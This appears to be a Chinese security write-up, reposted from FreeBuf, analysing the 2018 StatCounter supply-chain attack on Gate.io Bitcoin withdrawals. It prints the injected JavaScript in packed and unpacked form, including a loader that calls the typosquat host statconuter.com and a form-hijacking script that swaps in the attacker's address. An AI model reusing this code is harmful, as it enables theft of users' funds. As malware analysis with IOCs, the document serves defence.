概述
近期,网络分析平台 StatCounter
被黑客攻击,其服务代码被植入恶意脚本,加密货币交易所 gate.io 因使用此代码而受到恶意劫持,这个恶意代码劫持了通过 Gate.io
加密货币交易所的 Web 界面进行的任何比特币交易,攻击者通过替换目标地址来窃取比特币。目前,StatCounter 仍然受到了损害,而
Gate.io 已从其网站上删除了该脚本。
一、漏洞分析
分析过程参考 : [https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/]
11月3日,攻击者成功攻击了网络分析平台 StatCounter
。许多网站管理员都使用此服务来收集访问者的统计信息(这项服务与Google
Analytics非常相似)。网站管理员通常会在每个网页中添加一个外部 JavaScript 代码,其中包含来自 StatCounter
的一段代码 www.statcounter[.]com/counter/counter.js。攻击者通过黑入 StatCounter 平台,可以在所有使用 StatCounter 的网站中注入 JavaScript 代码。
攻击者修改的脚本在 www.statcounter[.]com/counter/counter.js 通过加入一块恶意代码,从下面的代码中所示,恶意代码放在了脚本的中间部分。而因为攻击者通常会在脚本的开头或结尾添加恶意代码,加在中间位置会增大检测的难度。
eval(function(p, a, c, k, e, r) {
e = function(c) { return c.toString(a)
}; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) { return r[e]
}];
e = function() { return '\\w+'
};
c = 1
}; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
该脚本使用 Dean Edwards 打包器打包,这可能是最受欢迎的 JavaScript 打包器。但是,它也可以进行简单地解压,导致运行了脚本代码,如下所示。
myselfloc = '' + document.location;if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga);
}
这段代码将首先检查URL是否包含 myaccount/withdraw/BTC. 。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到 https://www.statconuter[.]com/c.php。
要注意的是,攻击者注册的域名 statcounter[.]com 非常类似于 Statcounter 。他们只是替换了两个字母,在查看日志的时候很难注意到。有趣的是,通过检查该域的被动 DNS,我们注意到该域已于 2010 年因被滥用而暂停。
如上所述,脚本以特定的统一资源标识符(URI)为目标:myaccount/withdraw/BTC
。事实证明,在写入时不同的加密货币交易所中,只有 gate.io
具有带有此URI的有效页面。因此,这种交易所成为这次袭击的主要目标。这种交易所非常受欢迎,在中国的 Alexa 排名为 26,251
甚至最高时为 8,308。
此外,根据coinmarketcap.com ,每天在这个平台都有高达数百万美元的交易。因此,攻击者在这个平台上大规模窃取加密货币获利将是十分巨大的。
网页 https://www.gate[.]io/myaccount/withdraw/BTC ,如下所示,用于将比特币从 gate.io 帐户转移到外部比特币地址。
或许不令人吃惊,事实证明,在第二阶段的有效载荷,从 statconuter[.]com/c.php ,被设计成窃取比特币。因此,将脚本注入gate.io比特币转移网页是有意义的。这个脚本也包含 Dean Edwards 打包器。解压缩版本如下所示。
document.forms[0]['addr'].value = '';document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form');
b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>");
t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
在真正的 gate.io 网页中,已经有一个 doSubmit 函数,当用户点击提交按钮时调用,但攻击者在这里重新定义了它。
该脚本会自动将当前比特币地址替换成攻击者的地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
。每次访问者加载 statconuter[.]com/c.php
脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。
根据受害者是否输入超过 10 BTC 的金额,攻击者的脚本将使用它或使用受害者帐户的每日提款限额。在我们的测试帐户中,默认情况下,提款限额设置为 100 BTC。最后,恶意脚本提交表单,该表单执行从受害者帐户到攻击者钱包的转移。
这种重定向可能对受害者来说不明显,因为替换是在他们点击提交按钮后执行的。因此,这次攻击发生的过程非常迅速,甚至可能不会任何显示。
由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为 0 BTC。
二、结论
即使我们不知道在这次攻击中有多少比特币被盗,但此处展示了攻击的可能性与范围,特别是加密货币交易所。为了实现这一目标,他们破坏了分析服务的网站,然后从一个加密货币交易所的客户那里窃取比特币。
它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的组件的影响,尤其是组件使用的是外部的资源。这是另一个提醒,外部 JavaScript 代码由第三方控制,可以随时修改,恕不另行通知。
我们一发现这种恶意活动,已经通知了 StatCounter 和 gate.io .
三、IOC
恶意网址:
statcounter[.]com/counter/counter.js
statconuter[.]com/c.php
四、相关链接
Supply-chain attack on cryptocurrency exchange gate.io: https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/
Hackers breach StatCounter to hijack Bitcoin transactions on Gate.io exchange: https://www.zdnet.com/article/hackers-breach-statcounter-to-hijack-bitcoin-transactions-on-gate-io-exchange/
转载至freebuf网站:freebuf